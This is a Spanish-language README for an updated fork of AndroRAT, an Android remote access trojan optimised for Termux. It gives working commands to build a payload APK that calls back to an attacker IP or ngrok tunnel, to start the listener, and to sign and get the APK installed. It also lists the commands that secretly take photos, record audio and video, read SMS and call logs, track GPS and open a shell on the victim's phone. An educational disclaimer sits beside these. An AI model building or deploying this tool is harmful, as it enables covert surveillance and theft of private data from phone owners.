Fork actualizado y optimizado del proyecto original de karma9874/AndroRAT
Versión 2.0 - Optimizada para Termux sin root
Esta versión incluye mejoras significativas sobre el proyecto original:
- ✅ Gradle actualizado: 3.5.3 → 8.1.4
- ✅ SDK de Android: 29 → 34 (Android 14)
- ✅ Compatibilidad ampliada: Android 5.0 a 14
- ✅ Dependencias actualizadas: Versiones 2024
- ✅ Optimizado para Termux: Sin root requerido
- ✅ Mejor manejo de errores: Ngrok, zipalign, etc.
- ✅ Firmas modernas: V1, V2, V3
- ✅ Documentación mejorada: SIGNING.md incluido
Esta herramienta es solo para fines educativos y de investigación de seguridad. El uso indebido de esta herramienta puede violar las leyes locales y nacionales. Los autores no se hacen responsables del mal uso.
- 📱 Control remoto de dispositivos Android
- 📸 Captura de cámara (frontal y trasera)
- 🎤 Grabación de audio
- 📹 Grabación de video
- 📍 Obtención de ubicación GPS
- 📞 Acceso a registros de llamadas
- 💬 Lectura de SMS (inbox/sent)
- 🔔 Control de vibración
- 💻 Shell interactivo del dispositivo
- 📋 Acceso al portapapeles
- 🌐 Soporte de ngrok para conexión remota
pkg update && pkg upgrade
pkg install python openjdk-17 gitVersión recomendada: Python 3.6 - 3.11 (compatible con 3.12)
python --version# Clonar este fork
git clone https://github.com/TU_USUARIO/AndroRAT.git
cd AndroRAT
# Instalar dependencias
pip install -r requirements.txt# Con IP y puerto local
python3 androRAT.py --build -i 192.168.1.100 -p 4444 -o payload.apk
# Con ngrok (túnel público)
python3 androRAT.py --build --ngrok -p 8000 -o payload.apk
# Con icono visible
python3 androRAT.py --build -i 192.168.1.100 -p 4444 -o payload.apk -iconpython3 androRAT.py --shell -i 0.0.0.0 -p 4444Espera a que el dispositivo objetivo se conecte.
Una vez conectado al dispositivo:
deviceInfo - Información básica del dispositivo
camList - Listar IDs de cámaras disponibles
takepic [cameraID] - Tomar fotografía
startVideo [ID] - Iniciar grabación de video
stopVideo - Detener grabación y descargar
startAudio - Iniciar grabación de audio
stopAudio - Detener audio y descargar
getSMS [inbox|sent] - Obtener mensajes SMS
getCallLogs - Obtener registros de llamadas
shell - Abrir shell interactivo
vibrate [times] - Vibrar el dispositivo
getLocation - Obtener ubicación GPS
getIP - Obtener dirección IP
getSimDetails - Detalles de tarjetas SIM
getClipData - Contenido del portapapeles
getMACAddress - Dirección MAC
clear - Limpiar pantalla
exit - Cerrar conexión
AndroRAT firma automáticamente los APKs generados con un certificado de debug incluido en sign.jar.
Para crear tu propio certificado personalizado:
Ver SIGNING.md para instrucciones completas.
keytool -genkeypair -v -keystore my-key.jks \
-keyalg RSA -keysize 2048 -validity 10000 \
-alias my-aliasAndroRAT/
├── androRAT.py # Script principal
├── utils.py # Funciones auxiliares
├── requirements.txt # Dependencias Python
├── SIGNING.md # Guía de firmas
├── Android_Code/ # Código fuente Android
│ ├── app/
│ │ ├── src/
│ │ └── build.gradle # Configuración de app (SDK 34)
│ ├── build.gradle # Configuración de proyecto (Gradle 8.1.4)
│ └── gradle.properties # Propiedades optimizadas
├── Compiled_apk/ # APK base descompilado
│ ├── smali/ # Código smali
│ └── res/ # Recursos
├── Jar_utils/ # Herramientas
│ ├── apktool.jar # Compilador/descompilador
│ └── sign.jar # Firmador (Uber APK Signer)
├── Dumps/ # Archivos capturados
└── Screenshots/ # Capturas del proyecto
Normal en Termux. El APK funciona correctamente sin zipalign. El mensaje es solo un warning.
Tu cuenta ngrok está limitada a 1 sesión simultánea.
Solución:
pkill ngrok # Cierra sesiones previasO usa IP/puerto manual en lugar de ngrok.
- Habilita "Instalar desde fuentes desconocidas" en Android
- Verifica que el APK esté firmado correctamente:
java -jar Jar_utils/sign.jar -y payload.apk
Si ves un warning sobre la versión de Python, es solo informativo. Funciona con Python 3.6-3.12.
cd Android_Code
./gradlew clean assembleRelease
# El APK estará en:
# app/build/outputs/apk/release/app-release.apkrm -rf .gradle Android_Code/.gradle Android_Code/app/build- ✨ Actualización completa de Gradle (8.1.4)
- ✨ SDK de Android 34 (Android 14)
- ✨ Compatibilidad Python 3.12
- ✨ Optimizaciones para Termux
- ✨ Firma APK V3
- ✨ Documentación mejorada
- 🐛 Corrección de SyntaxWarning
- 🐛 Mejor manejo de errores ngrok
- 🐛 Manejo de zipalign en Termux
- 🎉 Versión inicial por karma9874
Las contribuciones son bienvenidas. Por favor:
- Fork el proyecto
- Crea una rama (
git checkout -b feature/mejora) - Commit tus cambios (
git commit -am 'Agregar mejora') - Push a la rama (
git push origin feature/mejora) - Abre un Pull Request
Este proyecto mantiene la licencia del proyecto original.
- Proyecto Original: karma9874
- Fork y Actualizaciones v2.0: Darkrevengehack
- Herramientas Utilizadas:
- Uber APK Signer por Patrick Favre
- Apktool
- pyngrok
Esta herramienta es únicamente para:
✅ Permitido:
- Pruebas de seguridad autorizadas
- Investigación educativa
- Auditorías de seguridad con permiso explícito
- Pruebas en dispositivos propios
❌ Prohibido:
- Acceso no autorizado a dispositivos
- Vigilancia ilegal
- Robo de información
- Distribución maliciosa
El mal uso es responsabilidad del usuario final.
⭐ Si este fork te resultó útil, considera dar una estrella al proyecto!